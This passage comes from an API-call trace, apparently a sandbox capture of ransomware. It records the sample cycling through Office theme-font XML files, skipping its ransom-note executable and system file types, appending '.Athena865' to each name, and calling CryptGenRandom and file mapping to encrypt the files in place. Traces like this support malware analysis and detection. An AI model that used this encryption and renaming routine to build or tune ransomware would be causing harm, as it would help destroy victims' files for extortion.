dwFlags=0x0) returned 1 [0137.769] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1110, lpName=0x0) returned 0x17c [0137.770] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1110) returned 0x100000 [0137.771] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.772] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.772] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.772] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe7f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0137.772] lstrcmpiW (lpString1="Pushpin.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.772] lstrcmpiW (lpString1="Pushpin.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.772] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Pushpin.xml" | out: lpString1="Pushpin.xml") returned="Pushpin.xml" [0137.772] lstrlenW (lpString="Pushpin.xml") returned 11 [0137.772] lstrlenW (lpString="Athena865") returned 9 [0137.772] lstrcmpiW (lpString1="shpin.xml", lpString2="Athena865") returned 1 [0137.772] lstrlenW (lpString=".dll") returned 4 [0137.772] lstrcmpiW (lpString1="Pushpin.xml", lpString2=".dll") returned 1 [0137.772] lstrlenW (lpString=".lnk") returned 4 [0137.772] lstrcmpiW (lpString1="Pushpin.xml", lpString2=".lnk") returned 1 [0137.772] lstrlenW (lpString=".ini") returned 4 [0137.772] lstrcmpiW (lpString1="Pushpin.xml", lpString2=".ini") returned 1 [0137.772] lstrlenW (lpString=".sys") returned 4 [0137.773] lstrcmpiW (lpString1="Pushpin.xml", lpString2=".sys") returned 1 [0137.773] lstrlenW (lpString="Pushpin.xml") returned 11 [0137.773] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml.Athena865") returned 86 [0137.773] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml.athena865"), dwFlags=0x1) returned 1 [0137.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.775] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3711) returned 1 [0137.775] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.776] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.776] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.776] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1180, lpName=0x0) returned 0x17c [0137.777] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1180) returned 0x100000 [0137.778] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.779] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.779] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.779] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b1a6f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b1a6f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="SLIPST~1.XML")) returned 1 [0137.779] lstrcmpiW (lpString1="Slipstream.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.779] lstrcmpiW (lpString1="Slipstream.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.779] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Slipstream.xml" | out: lpString1="Slipstream.xml") returned="Slipstream.xml" [0137.779] lstrlenW (lpString="Slipstream.xml") returned 14 [0137.779] lstrlenW (lpString="Athena865") returned 9 [0137.779] lstrcmpiW (lpString1="tream.xml", lpString2="Athena865") returned 1 [0137.779] lstrlenW (lpString=".dll") returned 4 [0137.779] lstrcmpiW (lpString1="Slipstream.xml", lpString2=".dll") returned 1 [0137.779] lstrlenW (lpString=".lnk") returned 4 [0137.780] lstrcmpiW (lpString1="Slipstream.xml", lpString2=".lnk") returned 1 [0137.780] lstrlenW (lpString=".ini") returned 4 [0137.780] lstrcmpiW (lpString1="Slipstream.xml", lpString2=".ini") returned 1 [0137.780] lstrlenW (lpString=".sys") returned 4 [0137.780] lstrcmpiW (lpString1="Slipstream.xml", lpString2=".sys") returned 1 [0137.780] lstrlenW (lpString="Slipstream.xml") returned 14 [0137.780] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml.Athena865") returned 89 [0137.780] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml.athena865"), dwFlags=0x1) returned 1 [0137.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.781] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3608) returned 1 [0137.781] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.782] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.782] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.782] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x17c [0137.784] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000 [0137.784] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.785] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.785] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.785] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xee9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0137.785] lstrcmpiW (lpString1="Solstice.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.786] lstrcmpiW (lpString1="Solstice.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.786] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Solstice.xml" | out: lpString1="Solstice.xml") returned="Solstice.xml" [0137.786] lstrlenW (lpString="Solstice.xml") returned 12 [0137.786] lstrlenW (lpString="Athena865") returned 9 [0137.786] lstrcmpiW (lpString1="stice.xml", lpString2="Athena865") returned 1 [0137.786] lstrlenW (lpString=".dll") returned 4 [0137.786] lstrcmpiW (lpString1="Solstice.xml", lpString2=".dll") returned 1 [0137.786] lstrlenW (lpString=".lnk") returned 4 [0137.786] lstrcmpiW (lpString1="Solstice.xml", lpString2=".lnk") returned 1 [0137.786] lstrlenW (lpString=".ini") returned 4 [0137.786] lstrcmpiW (lpString1="Solstice.xml", lpString2=".ini") returned 1 [0137.786] lstrlenW (lpString=".sys") returned 4 [0137.786] lstrcmpiW (lpString1="Solstice.xml", lpString2=".sys") returned 1 [0137.786] lstrlenW (lpString="Solstice.xml") returned 12 [0137.786] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml.Athena865") returned 87 [0137.786] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml.athena865"), dwFlags=0x1) returned 1 [0137.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.788] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3817) returned 1 [0137.788] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.789] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.789] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.789] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11f0, lpName=0x0) returned 0x17c [0137.790] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11f0) returned 0x100000 [0137.791] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.791] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.791] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.792] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0137.792] lstrcmpiW (lpString1="Technic.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.792] lstrcmpiW (lpString1="Technic.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.792] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Technic.xml" | out: lpString1="Technic.xml") returned="Technic.xml" [0137.792] lstrlenW (lpString="Technic.xml") returned 11 [0137.792] lstrlenW (lpString="Athena865") returned 9 [0137.792] lstrcmpiW (lpString1="chnic.xml", lpString2="Athena865") returned 1 [0137.792] lstrlenW (lpString=".dll") returned 4 [0137.792] lstrcmpiW (lpString1="Technic.xml", lpString2=".dll") returned 1 [0137.792] lstrlenW (lpString=".lnk") returned 4 [0137.792] lstrcmpiW (lpString1="Technic.xml", lpString2=".lnk") returned 1 [0137.792] lstrlenW (lpString=".ini") returned 4 [0137.792] lstrcmpiW (lpString1="Technic.xml", lpString2=".ini") returned 1 [0137.792] lstrlenW (lpString=".sys") returned 4 [0137.793] lstrcmpiW (lpString1="Technic.xml", lpString2=".sys") returned 1 [0137.793] lstrlenW (lpString="Technic.xml") returned 11 [0137.793] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml.Athena865") returned 86 [0137.793] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml.athena865"), dwFlags=0x1) returned 1 [0137.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.794] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3603) returned 1 [0137.794] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.795] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.795] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.795] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x17c [0137.797] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000 [0137.797] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.798] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.798] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.799] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xeff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0137.799] lstrcmpiW (lpString1="Thatch.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.799] lstrcmpiW (lpString1="Thatch.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.799] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Thatch.xml" | out: lpString1="Thatch.xml") returned="Thatch.xml" [0137.799] lstrlenW (lpString="Thatch.xml") returned 10 [0137.799] lstrlenW (lpString="Athena865") returned 9 [0137.799] lstrcmpiW (lpString1="hatch.xml", lpString2="Athena865") returned 1 [0137.799] lstrlenW (lpString=".dll") returned 4 [0137.799] lstrcmpiW (lpString1="Thatch.xml", lpString2=".dll") returned 1 [0137.799] lstrlenW (lpString=".lnk") returned 4 [0137.799] lstrcmpiW (lpString1="Thatch.xml", lpString2=".lnk") returned 1 [0137.799] lstrlenW (lpString=".ini") returned 4 [0137.799] lstrcmpiW (lpString1="Thatch.xml", lpString2=".ini") returned 1 [0137.799] lstrlenW (lpString=".sys") returned 4 [0137.799] lstrcmpiW (lpString1="Thatch.xml", lpString2=".sys") returned 1 [0137.799] lstrlenW (lpString="Thatch.xml") returned 10 [0137.799] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml.Athena865") returned 85 [0137.799] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml.athena865"), dwFlags=0x1) returned 1 [0137.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.801] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3839) returned 1 [0137.801] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.801] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.802] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.802] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200, lpName=0x0) returned 0x17c [0137.804] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1200) returned 0x100000 [0137.804] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.805] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.805] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.806] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0137.806] lstrcmpiW (lpString1="Trek.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.806] lstrcmpiW (lpString1="Trek.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.806] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Trek.xml" | out: lpString1="Trek.xml") returned="Trek.xml" [0137.806] lstrlenW (lpString="Trek.xml") returned 8 [0137.806] lstrlenW (lpString="Athena865") returned 9 [0137.806] lstrlenW (lpString=".dll") returned 4 [0137.806] lstrcmpiW (lpString1="Trek.xml", lpString2=".dll") returned 1 [0137.806] lstrlenW (lpString=".lnk") returned 4 [0137.806] lstrcmpiW (lpString1="Trek.xml", lpString2=".lnk") returned 1 [0137.806] lstrlenW (lpString=".ini") returned 4 [0137.806] lstrcmpiW (lpString1="Trek.xml", lpString2=".ini") returned 1 [0137.806] lstrlenW (lpString=".sys") returned 4 [0137.806] lstrcmpiW (lpString1="Trek.xml", lpString2=".sys") returned 1 [0137.806] lstrlenW (lpString="Trek.xml") returned 8 [0137.806] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml.Athena865") returned 83 [0137.806] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml.athena865"), dwFlags=0x1) returned 1 [0137.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.808] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3616) returned 1 [0137.808] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.809] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.809] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.809] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x17c [0137.810] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000 [0137.812] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.813] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.813] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.813] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0137.813] lstrcmpiW (lpString1="Urban.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.813] lstrcmpiW (lpString1="Urban.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.813] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Urban.xml" | out: lpString1="Urban.xml") returned="Urban.xml" [0137.813] lstrlenW (lpString="Urban.xml") returned 9 [0137.813] lstrlenW (lpString="Athena865") returned 9 [0137.813] lstrlenW (lpString=".dll") returned 4 [0137.813] lstrcmpiW (lpString1="Urban.xml", lpString2=".dll") returned 1 [0137.814] lstrlenW (lpString=".lnk") returned 4 [0137.814] lstrcmpiW (lpString1="Urban.xml", lpString2=".lnk") returned 1 [0137.814] lstrlenW (lpString=".ini") returned 4 [0137.814] lstrcmpiW (lpString1="Urban.xml", lpString2=".ini") returned 1 [0137.814] lstrlenW (lpString=".sys") returned 4 [0137.814] lstrcmpiW (lpString1="Urban.xml", lpString2=".sys") returned 1 [0137.814] lstrlenW (lpString="Urban.xml") returned 9 [0137.814] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml.Athena865") returned 84 [0137.814] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml.athena865"), dwFlags=0x1) returned 1 [0137.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.816] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3609) returned 1 [0137.816] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.817] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.817] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.817] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x17c [0137.818] 